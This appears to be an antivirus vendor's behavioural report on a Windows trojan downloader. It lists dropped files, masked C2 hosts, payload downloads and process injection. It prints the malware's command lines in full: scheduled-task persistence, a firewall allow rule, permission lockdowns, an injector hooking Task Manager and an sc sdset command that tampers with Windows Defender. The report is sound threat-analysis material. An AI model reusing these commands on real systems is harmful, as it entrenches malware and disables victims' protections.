Trojan.DownLoader46.24316

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\firefox default browser agent c0fb4db7adf9621d
<SYSTEM32>\tasks\yiueea.exe

Malicious functions

Executes the following

'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes

Injects code into

the following system processes:

%WINDIR%\microsoft.net\framework\v4.0.30319\applaunch.exe

Searches for windows to

detect analytical utilities:

ClassName: 'OLLYDBG', WindowName: ''
ClassName: 'GBDYLLO', WindowName: ''
ClassName: 'pediy06', WindowName: ''

Modifies file system

Creates the following files

%APPDATA%\bbtweus
%APPDATA%\tawseus
%TEMP%\6029.exe
%TEMP%\692f.exe
%TEMP%\7772.exe
%TEMP%\91d6.dll
%TEMP%\b4f0.exe
%TEMP%\577f58beff\yiueea.exe
%TEMP%\17b4.tmp-shm
%TEMP%\2e26.tmp-shm

Sets the 'hidden' attribute to the following files

%APPDATA%\bbtweus
%APPDATA%\tawseus

Deletes the following files

%TEMP%\17b4.tmp-shm
%TEMP%\2e26.tmp-shm

Deletes itself.

Network activity

Connects to

'on###ituyrs.org':80
'on###ituyrs.org':443
'su####lituyo.org':80
'sn####ukeutit.org':80
'li#####insteniki.org':80
'li####oumumy.org':80
'st#####luyastrelia.net':80
'79.##7.192.18':80
'ap#.2ip.ua':443
'pk#.goog':80
'al###adcare.com':443
'mo####eyclub.org':443
'lo###erry.org':443

TCP

HTTP GET requests

http://79.##7.192.18/minda.exe
http://pk#.goog/gsr1/gsr1.crt

HTTP POST requests

http://on###ituyrs.org/
http://su####lituyo.org/
http://sn####ukeutit.org/
http://li#####insteniki.org/
http://li####oumumy.org/
http://st#####luyastrelia.net/
http://79.##7.192.18/9bDc8sQ/index.php

Other

'on###ituyrs.org':443
'ap#.2ip.ua':443
'al###adcare.com':443
'mo####eyclub.org':443
'lo###erry.org':443

UDP

DNS ASK on###ituyrs.org
DNS ASK su####lituyo.org
DNS ASK sn####ukeutit.org
DNS ASK li#####insteniki.org
DNS ASK li####oumumy.org
DNS ASK st#####luyastrelia.net
DNS ASK ap#.2ip.ua
DNS ASK pk#.goog
DNS ASK al###adcare.com
DNS ASK mo####eyclub.org
DNS ASK lo###erry.org

Miscellaneous

Creates and executes the following

'%TEMP%\6029.exe'
'%TEMP%\577f58beff\yiueea.exe'
'%TEMP%\b4f0.exe'
'%TEMP%\6029.exe' --Admin IsNotAutoStart IsNotTask
'%TEMP%\692f.exe'
'%TEMP%\7772.exe'
'%TEMP%\577f58beff\yiueea.exe' ' (with hidden window)
'%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "%TEMP%\577f58beff\yiueea.exe" /F' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /k echo Y|CACLS "yiueea.exe" /P "user:N"&&CACLS "yiueea.exe" /P "user:R" /E&&echo Y|CACLS "..\577f58beff" /P "user:N"&&CACLS "..\577f58beff" /P "user:R" /E&&Exit' (with hidden window)
'<SYSTEM32>\bcdedit.exe' /v' (with hidden window)
'%WINDIR%\microsoft.net\framework\v4.0.30319\applaunch.exe' ' (with hidden window)
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F' (with hidden window)
'%WINDIR%\rss\csrss.exe' ' (with hidden window)
'<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"' (with hidden window)
'<SYSTEM32>\schtasks.exe' /delete /tn ScheduledUpdate /f' (with hidden window)
'%TEMP%\csrss\patch.exe' ' (with hidden window)
'%TEMP%\csrss\injector\injector.exe' taskmgr.exe %TEMP%\csrss\injector\NtQuerySystemInformationHook.dll' (with hidden window)
'%WINDIR%\syswow64\icacls.exe' "%LOCALAPPDATA%\62e6503b-5a04-4d7a-b9be-34beef06eed7" /deny *S-1-1-0:(OI)(CI)(DE,DC)' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)' (with hidden window)

Executes the following

'<SYSTEM32>\regsvr32.exe' /s %TEMP%\91D6.dll
'<SYSTEM32>\bcdedit.exe' /v
'<SYSTEM32>\schtasks.exe' /delete /tn ScheduledUpdate /f
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F
'<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"
'%WINDIR%\syswow64\icacls.exe' "%LOCALAPPDATA%\62e6503b-5a04-4d7a-b9be-34beef06eed7" /deny *S-1-1-0:(OI)(CI)(DE,DC)
'<SYSTEM32>\taskeng.exe' {54AEEEA9-8A49-4B55-AFC2-288923DD2BB0} S-1-5-21-3150914307-1777937420-491476919-1000:wybecsnnob\user:Interactive:[1]
'%WINDIR%\explorer.exe'
'%WINDIR%\syswow64\cmd.exe' /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
'%WINDIR%\syswow64\explorer.exe'
'%WINDIR%\syswow64\cacls.exe' "..\577f58beff" /P "user:N"
'%WINDIR%\syswow64\cacls.exe' "yiueea.exe" /P "user:R" /E
'%WINDIR%\syswow64\cacls.exe' "yiueea.exe" /P "user:N"
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo Y"
'%WINDIR%\syswow64\cmd.exe' /k echo Y|CACLS "yiueea.exe" /P "user:N"&&CACLS "yiueea.exe" /P "user:R" /E&&echo Y|CACLS "..\577f58beff" /P "user:N"&&CACLS "..\577f58beff" /P "user:R" /E&&Exit
'%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "%TEMP%\577f58beff\yiueea.exe" /F
'%WINDIR%\microsoft.net\framework\v4.0.30319\applaunch.exe'
'%WINDIR%\syswow64\cacls.exe' "..\577f58beff" /P "user:R" /E
'%WINDIR%\syswow64\sc.exe' sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)